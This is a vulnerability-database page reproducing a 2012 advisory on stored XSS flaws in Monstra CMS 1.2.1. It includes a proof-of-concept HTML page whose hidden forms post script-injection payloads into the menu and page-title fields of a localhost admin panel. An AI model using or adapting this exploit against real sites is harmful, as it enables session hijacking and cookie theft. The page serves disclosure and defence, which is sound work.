Lucene search
K

Monstra 1.2.1 Multiple HTML Injection Vulnerabilities

🗓️ 23 Aug 2012 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 13 Views

Monstra 1.2.1 Multiple HTML Injection Vulnerabilities in 'menu_item_link', 'menu_item_name' and 'page_title' parameters via POST method. Attacker can steal authentication credentials and control site rendering

Code
<!DOCTYPE html>
<!--

Monstra 1.2.1 Multiple HTML Injection Vulnerabilities


Vendor: MONSTRA.ORG
Product web page: http://www.monstra.org
Affected version: 1.2.1

Summary: Monstra is fast and small content management system written
in PHP! It's free, open source and easy to use from the start!

Desc: Monstra suffers from multiple stored XSS vulnerabilities when
parsing user input to the 'menu_item_link', 'menu_item_name' and
'page_title' parameters via POST method thru 'index.php' script.
Attacker-supplied HTML or JavaScript code could run in the context
of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is
rendered to the user, and influence or misrepresent how Web content
is served, cached, or interpreted.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5101
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5101.php


21.08.2012

--><html>
<head>
<title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title>
</head>
<body>
<form action="http://localhost/monstra/admin/index.php?id=menu&amp;action=add" id="add_menu" method="POST">
<input name="csrf" type="hidden" value="a7de775dce681ae31b7e8954d6305667b0df69e0"/>
<input name="menu_add_item" type="hidden" value="Save"/>
<input name="menu_item_link" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="menu_item_name" type="hidden" value='"&gt;&lt;script&gt;alert(2);&lt;/script&gt;'/>
<input name="menu_item_order" type="hidden" value="0"/>
<input name="menu_item_target" type="hidden" value=""/>
</form>
<form action="http://localhost/monstra/admin/index.php?id=pages&amp;action=add_page" id="add_page" method="POST">
<input name="add_page_and_exit" type="hidden" value="Save and exit"/>
<input name="csrf" type="hidden" value="a7de775dce681ae31b7e8954d6305667b0df69e0"/>
<input name="day" type="hidden" value="21"/>
<input name="editor" type="hidden" value="Tojmi Sesvidja"/>
<input name="minute" type="hidden" value="17"/>
<input name="month" type="hidden" value="08"/>
<input name="page_description" type="hidden" value="Zero Science Lab"/>
<input name="page_keywords" type="hidden" value="ZSL-2012-5101"/>
<input name="page_name" type="hidden" value="XSS"/>
<input name="page_title" type="hidden" value='"&gt;&lt;script&gt;alert(3);&lt;/script&gt;'/>
<input name="pages" type="hidden" value="0"/>
<input name="second" type="hidden" value="29"/>
<input name="status" type="hidden" value="published"/>
<input name="templates" type="hidden" value="index"/>
<input name="year" type="hidden" value="2012"/>
</form>
<script type="text/javascript">
function xss1(){document.forms["add_menu"].submit();}
function xss2(){document.forms["add_page"].submit();}
</script>
<input onclick="xss1()" type="button" value="Execute XSS 1"/>
<br/><br/>
<input onclick="xss2()" type="button" value="Execute XSS 2"/>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
13